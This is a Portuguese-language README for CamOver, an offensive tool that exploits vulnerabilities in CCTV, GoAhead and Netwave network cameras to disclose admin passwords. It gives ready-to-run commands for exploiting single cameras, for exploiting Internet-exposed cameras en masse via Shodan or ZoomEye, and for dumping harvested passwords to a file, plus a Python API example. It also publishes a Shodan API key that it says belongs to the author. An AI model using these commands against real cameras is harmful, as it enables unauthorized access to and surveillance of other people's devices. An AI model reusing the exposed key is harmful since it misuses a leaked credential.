CamOver

CamOver é uma ferramenta de exploração de câmeras que permite revelar a senha de administrador da câmera de rede.

Funcionalidades

• Explora vulnerabilidades nos modelos de câmeras mais populares, como CCTV, GoAhead e Netwave.
• Otimizado para explorar várias câmeras ao mesmo tempo a partir de uma lista com suporte a threads.
• Uso simples via CLI e API.

Instalação

pip3 install git+https://github.com/EntySec/CamOver

Uso básico

Para usar o CamOver, basta digitar camover no seu terminal.

usage: camover [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS] [--shodan SHODAN]
               [--zoomeye ZOOMEYE] [-p PAGES]

CamOver is a camera exploitation tool that allows to disclosure network camera
admin password.

optional arguments:
  -h, --help            show this help message and exit
  -t, --threads         Use threads for fastest work.
  -o OUTPUT, --output OUTPUT
                        Output result to file.
  -i INPUT, --input INPUT
                        Input file of addresses.
  -a ADDRESS, --address ADDRESS
                        Single address.
  --shodan SHODAN       Shodan API key for exploiting devices over Internet.
  --zoomeye ZOOMEYE     ZoomEye API key for exploiting devices over Internet.
  -p PAGES, --pages PAGES
                        Number of pages you want to get from ZoomEye.

Exemplos

Explorando câmera única

Vamos hackear minha câmera só por diversão.

camover -a 192.168.99.100

Explorando câmeras da Internet

Vamos tentar usar o mecanismo de busca Shodan para explorar câmeras pela Internet, usando -t para exploração rápida.

camover -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

NOTA: A chave de API Shodan fornecida (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) é minha chave PRO, você pode usar esta chave ou a sua própria, fique à vontade para usar todos os nossos recursos gratuitamente :)

Explorando câmeras a partir de um arquivo de entrada

Vamos tentar usar um banco de dados aberto de câmeras com -t para exploração rápida.

camover -t -i cameras.txt -o passwords.txt

NOTA: Isso irá explorar todas as câmeras na lista cameras.txt por seus endereços e salvar todas as senhas obtidas em passwords.txt.

Uso da API

O CamOver também possui sua própria API Python que pode ser invocada importando o CamOver para o seu código.

from camover import CamOver

Funções básicas

Estas são todas as funções básicas do CamOver que podem ser usadas para explorar uma câmera específica.

• exploit(address) - Explora uma única câmera pelo endereço fornecido.

Exemplos

Explorando câmera única

from camover import CamOver

camover = CamOver()
creds = camover.exploit('192.168.99.100')

print(creds)